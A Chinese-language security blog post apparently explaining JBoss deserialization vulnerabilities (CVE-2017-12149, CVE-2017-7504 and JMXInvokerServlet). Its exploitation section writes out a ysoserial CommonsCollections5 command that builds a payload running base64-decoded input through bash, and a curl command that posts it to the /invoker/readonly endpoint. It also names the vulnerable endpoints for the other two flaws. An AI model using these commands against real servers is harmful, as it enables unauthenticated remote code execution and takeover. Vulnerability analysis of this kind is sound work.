Jboss


前言

Jboss 是一个基于 J2EE 的开放源代码应用服务器。 JBoss 代码遵循 LGPL 许可,可以在任何商业应用中免费使用。JBoss 是一个管理 EJB 的容器和服务器,支持 EJB 1.1、EJB 2.0 和 EJB3 的规范。但 JBoss 核心服务不包括支持 servlet/JSP 的 WEB 容器,一般与 Tomcat 或 Jetty 绑定使用。

CVE-2017-12149

安全预警如下
漏洞描述 ​
近期,互联网爆出 JBOSSApplication Server 反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞细节和验证代码已公开,近期被不法分子利用出现大规模攻击尝试的可能性较大。漏洞危害程度为高危(High)。
影响范围 ​
漏洞影响 5.x 和 6.x 版本的 JBOSSAS。目前评估潜在受影响主机数量超过 5000 台
漏洞原理 ​
JBOSS Application Server 是一个基于 J2EE 的开放源代码的应用服务器。 JBoss 代码遵循 LGPL 许可,可以在任何商业应用中免费使用,2006 年,JBoss 被 Redhat 公司收购。
2017 年 8 月 30 日,厂商 Redhat 发布了一个 JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中,其 doFilter 方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现 JBOSSAS 6.x 也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

image.png

原理

漏洞原理很简单,在访问 http://ip:port/invoker/readonly 的时候,jboss 会对 POST 数据进行反序列化,具体位置在jboss-6.1.0.Final\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet\ReadOnlyAccessFilter.class
image.png
InvokerTransformer#transform()打上断,发一个 payload 成功命中。堆栈如下
image.png

利用

image.png
有 cc3.2,可以使用 cc5 的 gadget
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}" > poc.ser
curl http://ip:8080/invoker/readonly --data-binary @poc.ser

CVE-2017-7504

JBoss AS 4.x 及之前版本中,JbossMQ 实现过程的 JMS over HTTP Invocation Layer 的 HTTPServerILServlet.java 文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响范围:JBoss AS 4.x 及之前版本。

image.png
类似 12149,只是触发位置在http://ip:8080/jbossmq-httpil/HTTPServerILServlet,不多逼逼了

JMXInvokerServlet-deserialization

image.png
http://ip:8080/invoker/JMXInvokerServlet,一样


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录